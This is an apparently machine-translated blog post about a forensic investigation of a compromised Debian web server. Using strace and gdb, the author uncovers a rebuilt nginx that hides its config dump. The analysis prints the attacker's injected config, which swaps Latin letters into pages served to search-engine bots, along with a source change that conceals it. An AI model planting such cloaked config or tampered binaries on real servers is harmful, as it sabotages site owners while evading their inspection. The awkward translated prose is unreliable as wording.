Quandu "a" ùn hè micca uguale à "a". In seguitu à un pirate

Una storia più spiacevole hè accaduta à unu di i mo amichi. Ma quant'è dispiacevule per Mikhail, era cusì divertente per mè.

Devu dì chì u mo amicu hè abbastanza UNIX-utente: pò stallà u sistema stessu U vostru servore SQL, Lasagne è fà paràmetri simplici nginx.
È hà una decina o una mità di siti web dedicati à l'arnesi di custruzzione.

Unu di sti siti dedicati à e motoseghe si trova fermamente in u TOP di i mutori di ricerca. Stu situ hè un revisore micca cummerciale, ma qualchissia hà pigliatu l'abitudine di attaccà. Chì DDoS, dopu a forza bruta, dopu scrivenu cumenti osceni è mandanu abusi à l'ospiti è à u RKN.
Di colpu, tuttu si calmò, è sta calma ùn era micca bè, è u situ hà cuminciatu à abbandunà gradualmente e prime linee di i risultati di ricerca.

Quandu "a" ùn hè micca uguale à "a". In seguitu à un pirate

Era un dittu, dopu a storia di l'amministratore stessu.

Era vicinu à l'ora di dorme quandu u telefuninu sonò: "San, ùn guardate micca u mo servitore? Mi pari chì eru pirate, ùn possu micca pruvà, ma u sintimu ùn m'hà micca lasciatu per a terza settimana. Forse hè solu u tempu per mè di piglià trattamentu per a paranoia? "

Ciò chì seguita hè stata una meza ora di discussione chì pò esse riassuntu cusì:

  • u tarrenu per pirate era abbastanza fertili;
  • un attaccante puderia guadagnà i diritti di superuser;
  • l'attaccu (s'ellu hè accadutu) era destinatu specificamente à stu situ;
  • i zoni prublemi sò stati curretti è basta à capisce s'ellu ci era una penetrazione;
  • u pirate ùn pudia influenzà u codice di u situ è ​​basa di dati.

In quantu à l'ultimu puntu.

Quandu "a" ùn hè micca uguale à "a". In seguitu à un pirate

Solu l'IP frontend biancu guarda fora in u mondu. Ùn ci hè micca scambiu trà i backends è u frontend eccettu http(s), l'utilizatori / password sò diffirenti, ùn ci sò micca scambiati chjave. Nant'à l'indirizzi grigi, tutti i porti eccettu 80/443 sò chjusi. L'IP backend bianchi sò cunnisciuti solu da dui utilizatori, chì Mikhail si fida completamente.

Installatu nantu à u frontend Debian 9 è da u tempu chì a chjama hè fatta, u sistema hè isolatu da u mondu da un firewall esternu è si ferma.

"Ok, dammi l'accessu", decisu di mette u sonnu per un'ora. "Veraghju cù i mo ochji."

Quì è più in là:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Cerchendu un pussibili pirate

Aghju principiatu u servitore, prima in modu di salvezza. Munteraghju i dischi è flip through them auth-logs, storia, logs di u sistema, etc., s'ellu hè pussibule, aghju cuntrollatu e date di creazione di u schedariu, ancu s'ellu capiscu chì un cracker nurmale avissi "sweep up" dopu à ellu stessu, è Misha avia digià "trodden down" assai mentre ch'ellu cercava ellu stessu. .

Accuminciamu in modu normale, ùn capiscu micca veramente ciò chì cercà, studià e cunfigurazioni. Prima di tuttu, sò interessatu nginx postu chì, in generale, ùn ci hè nunda di più nantu à u frontend fora di questu.
I cunfigurazioni sò chjuchi, ben strutturati in una decina di schedari, aghju ghjustu à fighjà cat'oh unu à unu. Tuttu pare esse pulitu, ma ùn sapete mai s'ellu mi mancava qualcosa include, lasciami fà una lista completa:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Ùn aghju micca capitu: "Induve hè u listinu?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Una seconda dumanda hè aghjuntu à a quistione di lista: "Perchè una versione cusì antica di nginx?"

Inoltre, u sistema crede chì l'ultima versione hè stallata:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Chjamu :
- Misha, perchè avete riunitu nginx?
- Aspetta, ùn sò mancu fà quessa !
- Va bè, vai à dorme...

Nginx hè chjaramente ricustruita è l'output di u listinu cù "-T" hè oculatu per una ragione. Ùn ci hè più dubbitu nantu à u pirate è pudete solu accettà è (dapoi Misha hà rimpiazzatu u servitore cù un novu in ogni modu) cunzidira u prublema risolta.

È veramente, postu chì qualchissia hà avutu i diritti ràdica'Ah, allora hè solu sensu di fà reinstallà u sistema, è era inutile di circà ciò chì ci era sbagliatu, ma sta volta a curiosità hà scunfittu u sonnu. Cumu pudemu sapè ciò chì vulianu ammuccià di noi ?

Pruvemu di traccia:

$ strace nginx -T

Fighjemu, ùn ci hè chjaramente micca abbastanza linee in a traccia à la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Solu per piacè, paragunemu i risultati.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Pensu chì parte di u codice /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

hè statu purtatu à a forma:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

o

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

dunque u listinu da "-T" ùn hè micca visualizatu.

Ma cumu pudemu vede a nostra cunfigurazione?

Se u mo pensamentu hè currettu è u prublema hè solu in a variabile ngx_dump_config pruvemu à stallà lu usendu gdb, per furtuna ci hè una chjave --cun-cc-opt -g presente è speru chì ottimisazione -O2 ùn ci ferà micca male. À u listessu tempu, postu chì ùn sò micca sapè cumu ngx_dump_config puderia esse trattatu in casu 'T':, ùn chjamemu micca stu bloccu, ma installate u usu casu 't':

Perchè pudete aduprà "-t" è ancu "-T"Block Processing if (ngx_dump_config) succede dentru if (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Di sicuru, se u codice hè cambiatu in questa parte è micca in casu 'T':, allura u mo metudu ùn funziona micca.

Pruvate nginx.confDopu avè digià risoltu u prublema sperimentalmente, hè statu stabilitu chì una cunfigurazione minima hè necessaria per u malware per travaglià nginx tipu:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Avemu aduprà per brevità in l'articulu.

Lanciari u debugger

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

In passi:

  • stabilisce un breakpoint in a funzione main ()
  • lanciari u prugramma
  • cambia u valore di a variàbile chì determina l'output di a cunfigurazione ngx_dump_config=1
  • cuntinuà / finiscinu u prugramma

Comu pudemu vede, a cunfigurazione vera difiere da a nostra, selezziunate un pezzu parasitatu da ellu:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Fighjemu un ochju à ciò chì succede quì in ordine.

Determinatu Agente d'Usuariu'yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

E pagine di serviziu sò escluse WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

È per quelli chì cadenu sottu à e duie cundizioni sopra

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

in u testu html,- e pagine cambianu 'O' nantu 'o' и 'A' nantu 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Hè propiu, l'unica sutilezza hè questu 'a' != 'a' cum'è 'o' ! = 'o':

Quandu "a" ùn hè micca uguale à "a". In seguitu à un pirate

Cusì, i bots di u mutore di ricerca ricevenu, invece di u testu normale 100% cirillicu, basura mudificata diluita cù u latinu. 'a' и 'o'. Ùn aghju micca arsu di discutiri cumu questu affetta u SEO, ma hè improbabile chì una tale cunfusione di lettere avarà un impattu pusitivu nantu à e pusizioni in i risultati di ricerca.

Chì possu dì, ragazzi cun imaginazione.

referenze

Debugging cù GDB
gdb (1) - Pagina man di Linux
strace(1) - Pagina man di Linux
Nginx - Modulu ngx_http_sub_module
Circa seghe, motoseghe è seghe elettriche

Source: www.habr.com

Add a comment